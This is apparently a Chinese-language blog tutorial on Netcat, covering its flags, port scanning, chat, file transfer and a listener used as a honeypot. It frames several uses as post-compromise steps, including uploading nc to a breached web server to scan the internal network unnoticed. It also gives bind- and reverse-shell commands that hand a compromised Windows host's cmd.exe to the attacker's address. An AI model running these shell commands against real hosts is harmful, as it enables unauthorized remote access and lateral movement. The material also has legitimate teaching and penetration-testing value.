工具的使用 | Netcat瑞士军刀的简单使用

Netcat

常用参数：

常见的用法：

端口扫描：

聊天

文件传输

反弹shell

蜜罐

·   -l： 开启监听

·   -p：指定端口

·   -t： 以telnet形式应答

·   -e：程序重定向

·   -n：以数字形式表示ip

·   -v：显示执行命令过程

·   -z :  不进行交互，直接显示结果

·   -u ：使用UDP协议传输

·   -w :  设置超时时间

端口扫描：

如果是想单纯的端口扫描的话，利用其它工具比如 nmap会更好。nc端口扫描最主要的用途是，当我们获得了一个网站的权限之后，我们想再渗透进该网站的内网进行渗透。然而，我们的nmap工具是不能扫描到内网的，所以这时我们可以把nc上传到web服务器上，利用它来扫描内网主机。而由于nc体积很小，所以不容易被发现。

nc  -z -v -n 192.168.10.14  20-23   #端口或端口范围

如果探测到端口开放了，比如上面的 80 端口开放了，我们就可以继续探测其banner信息： 

nc -v -n 192.168.10.14  80

然后输入get

聊天

我们还可以利用 nc 做一个简易版本的聊天工具，通过一边监听端口，一边发送消息去该端口，形成一个简易版本的服务端—客户端模型。

服务器端：

nc   -lvp    8888     #监听8888端口  -l 监听 -v 显示详细信息  -p 指定端口

客户端：

nc  -nv  10.96.10.208  8888    #连接到服务器的8888端口  -n以数字形式显示ip  -v显示详细信息

文件传输

我们可以利用 nc 往客户端传送文件

服务器端：

nc  -lvp  8888 < test.txt

客户端：

nc -nv 10.96.10.208 8888 > test.txt

反弹shell

正向连接，意思就是我们主动连接肉鸡

假如我们现在入侵到了一台主机上，我们可以通过执行以下命令将该主机的cmd命令弹到8888端口上

肉鸡

nc -lvv -p 8888 -t -e cmd.exe

然后我们的主机访问该肉鸡的8888端口

我们的主机

nc  -nvv  192.168.10.14  8888

反向连接，意思就是我们监听端口，然后肉鸡主动连接到我们的主机

我们的主机

nc  -lvp  8888

肉鸡(Windows)

nc  -t -e cmd.exe 10.96.10.208 8888

蜜罐

作为蜜罐

一直监听8888端口，知道 ctrl+C 停止

nc  -L -p  8888  > log.txt   #监听8888端口，并且将日志信息写入log.txt中